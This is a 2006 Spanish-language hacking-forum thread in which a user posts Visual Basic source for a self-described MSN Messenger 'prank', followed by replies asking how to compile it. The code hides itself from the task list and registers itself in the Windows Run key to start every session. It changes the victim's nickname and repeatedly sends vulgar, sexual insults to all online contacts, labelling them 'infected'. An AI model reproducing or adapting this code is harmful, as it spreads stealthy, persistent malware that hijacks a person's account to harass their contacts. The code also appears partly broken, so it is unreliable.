Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Noviembre 18, 2008, 06:56:10
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: [Broma para MSN]: MSN fucker By Hendrix 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: [Broma para MSN]: MSN fucker By Hendrix  (Leído 2062 veces)
Hendrix
Visitante
« en: Marzo 03, 2006, 08:21:16 »
Weno, os dare el kode de un simple programa que e programado en 10 minutitos (lo que hace el aburrimiento..jajajaja  Grin Grin Grin)

Las caracteristikas de este programa son:

- Se ejekuta cada Sesion
- 10 insultos (de Kizar y algunos mios)
- Cambia el Nik del MSN por un insulto
- Envia cada 20 segundos Un mensage a todos los usuarios agregados con un insulto
- No aparece en el Taskmanager
- La activacion es retardada (espera 1 minuto a activarse todo)

Weno, les dejo el kode:

Código:
Option Explicit
Public WithEvents MSN As MessengerAPI.MessengerNative
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Dim Men As String, Palabra As Long
Dim KeyResult As String
Dim contactos As MessengerAPI.IMessengerContact
Dim user As IMessengerContact
Dim I As Integer





Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
Dim Hendrix
Set MSN = New MessengerAPI.MessengerNative
Set Hendrix = CreateObject("WScript.Shell")
Hendrix.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Win32", App.Path & "\" & App.EXEName & ".exe"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Palabra = Int((Rnd * 10) + 1)
Select Case Palabra
Case 1
        Men = "k te jodan!!"
Case 2
        Men = "Idiota"
Case 3
        Men = "Hijo de puta"
Case 4
        Men = "Me cago en tu puta madre"
Case 5
        Men = "Cabron"
Case 6
        Men = "Me la kieres chupar???"
Case 7
        Men = "Me cago en la puta zorra de tu madre"
Case 8
        Men = "Me cago en tus muertos!!!!"
Case 9
        Men = "Hijo de la gran puta!!!!"
Case 10
        Men = "La zorra mas grande del planeta??? TU PUTA MADRE!!!!"
End Select

KeyResult = GetAsyncKeyState(13)
    If KeyResult = -32767 Then
         SendKeys Men & "{enter}"
    End If

MSN.OptionsPages 0, MOPT_GENERAL_PAGE
SendKeys (Text1.Text & "{ENTER}")



End Sub

Private Sub Timer2_Timer()
On Error Resume Next
For Each user In MSN.MyContacts

If contactos.Status = MISTATUS_ONLINE Then
List1.AddItem contactos.SigninName
End If

For I = 0 To List1.ListCount - 1
MSN.InstantMessage List1.List(I)
SendKeys (" Kieres follar konmigo?? Soy un kapullo!!!! [Infectado kon un programa de Hendrix] ")
SendKeys ("{ENTER}")
Next
Next

End Sub

Private Sub Timer3_Timer()
On Error Resume Next
Timer1.Enabled = True
Timer2.Enabled = True
End Sub

Tienen que agregar esto:

1 Textbox
1 Listbox
3 Timers

Y ya sta... Wink Wink Wink

PD: Esto es una version BETA, puesto ke no la e ejekutado ni nada de esto....asi ke si ven algun fallo posteadlo plis... Wink Wink Wink

Salu2

Hendrix
En línea
arvin
Visitante
« Respuesta #1 en: Marzo 03, 2006, 08:40:49 »
Citar
SendKeys (" Kieres follar konmigo?? Soy un kapullo!!!! [Infectado kon un programa de Hendrix] ")


Muy astuto...
En línea
Buskapina
Miembro
*****
Desconectado Desconectado

Mensajes: 140



Ver Perfil Email
« Respuesta #2 en: Marzo 03, 2006, 09:34:49 »
En línea
Hendrix
Visitante
« Respuesta #3 en: Marzo 03, 2006, 03:06:43 »
Buskapina, el kode de las apis del MSN las kogi de tu manual, lo de agregar a una lista los kontaktot tambien....los insultos de un invento de Kizar, lo otro mio....

Gracias por el kode!!!! Wink Wink Wink

PD: no tiene ningun error el programa???

Salu2

Hendrix
En línea
SkullGeorge
Colaborador
*****
Desconectado Desconectado

Mensajes: 454


Antes era inseguro ahora no se


Ver Perfil WWW Email
« Respuesta #4 en: Marzo 08, 2006, 10:03:20 »
Bueno quisiera saber si ese kode se pdroa pasar a batch seria una muy buena utilidad Huh Huh
En línea
Los hombres son fantasiosos siempre quieren lo que esto prohibido: la libertad, por ejemplo.
CanalTopDigital
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

TopTotal
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

TuTop
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #5 en: Marzo 09, 2006, 12:19:02 »
Creo que es imposible porque no esta el comando Sendkey ni nada parecido.
En línea
erloco
Habitual
*****
Desconectado Desconectado

Mensajes: 206


Novato


Ver Perfil
« Respuesta #6 en: Marzo 09, 2006, 01:17:39 »
novato ..., en q ahy q programarlo ?, saludos y gracias
En línea
Hendrix
Visitante
« Respuesta #7 en: Marzo 09, 2006, 08:04:00 »
Ya ke lo e posteado en este foro (el de VISUAL BASIC) es logiko ke se programe en VB...

Salu2

Hendrix
En línea
El92rozn
Miembro
*****
Desconectado Desconectado

Mensajes: 139



Ver Perfil
« Respuesta #8 en: Marzo 19, 2006, 03:04:03 »
Muy wenas!
Tiene wena pinta la bromilla esta...! Wink
Pero yo soy muy novato en este lenguaje y me gustaria saber a que te refieres con lo de agregar...:

Tienen que agregar esto:

1 Textbox
1 Listbox
3 Timers

Espero q no te importe explicarme un pokillo...

Gracias y Saludos
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Buskapina
Miembro
*****
Desconectado Desconectado

Mensajes: 140



Ver Perfil Email
« Respuesta #9 en: Marzo 19, 2006, 07:03:44 »
« Última modificación: Marzo 19, 2006, 07:05:47 por Buskapina » En línea
Hendrix
Visitante
« Respuesta #10 en: Marzo 20, 2006, 08:38:44 »
En línea
Saok
moderador batch
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2824


Saok siempre esta ahi...


Ver Perfil WWW
« Respuesta #11 en: Abril 16, 2006, 03:40:33 »
ola

bueno esta muy bueno pero:

Citar
Dim contactos As MessengerAPI.IMessengerContact
Dim user As IMessengerContact
Dim I As Integer

ahi me tira a error me dice no se a definido por el usuario

saludos[sh]
En línea

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.colgados.net
  date una pasadita por esta web de warez !
Hendrix
Visitante
« Respuesta #12 en: Abril 16, 2006, 04:38:17 »
En línea
restriger
Visitante
« Respuesta #13 en: Junio 21, 2006, 07:36:56 »
Hola buenas. Queria probar el programa pero al intentar compilarlo me salio ERROR en esta linea:
Citar
Dim contactos As MessengerAPI.IMessengerContact
Lo que me sale es:
Citar
User-defined type not defined
Que se puede hacer ?
Perdonen acabo de darme cuenta que Saok Dagon ha preguntado lo mismo.
Hendrix a que te refieres con poner las referencias de MSN podrias poner un ejemplo xfavor ?
perdonad mi ignorancia me acabo de iniciar hace 40:00minutos
« Última modificación: Junio 21, 2006, 07:47:26 por restriger » En línea
d_alejandro
Miembro
*****
Desconectado Desconectado

Mensajes: 52


Ver Perfil
« Respuesta #14 en: Junio 26, 2006, 03:11:26 »
quiere decir q tienes que darle en project, references, ahi seleccionas MESSENGER API TYPE LIBRARY Y le das OK.


bye
 Roll Eyes
En línea
el Paquito
Visitante
« Respuesta #15 en: Julio 01, 2006, 08:46:17 »
En línea
H45H
Habitual
*****
Desconectado Desconectado

Mensajes: 244

remotehash@gmail.com
Ver Perfil
« Respuesta #16 en: Julio 07, 2006, 06:15:43 »
Paquito en el Visual Basic le das en Proyectos y luego en Referencias y ahi encuentras la Api que requieres
En línea
Sh4k4
.
Colaborador
*****
Desconectado Desconectado

Mensajes: 565


SHAKA


Ver Perfil WWW
« Respuesta #17 en: Julio 09, 2006, 02:18:02 »
mao meno.. no me joder x joder ...... pero  ajoder! nice pero le falta  Cool
En línea
Arayashiki
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: [Broma para MSN]: MSN fucker By Hendrix « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC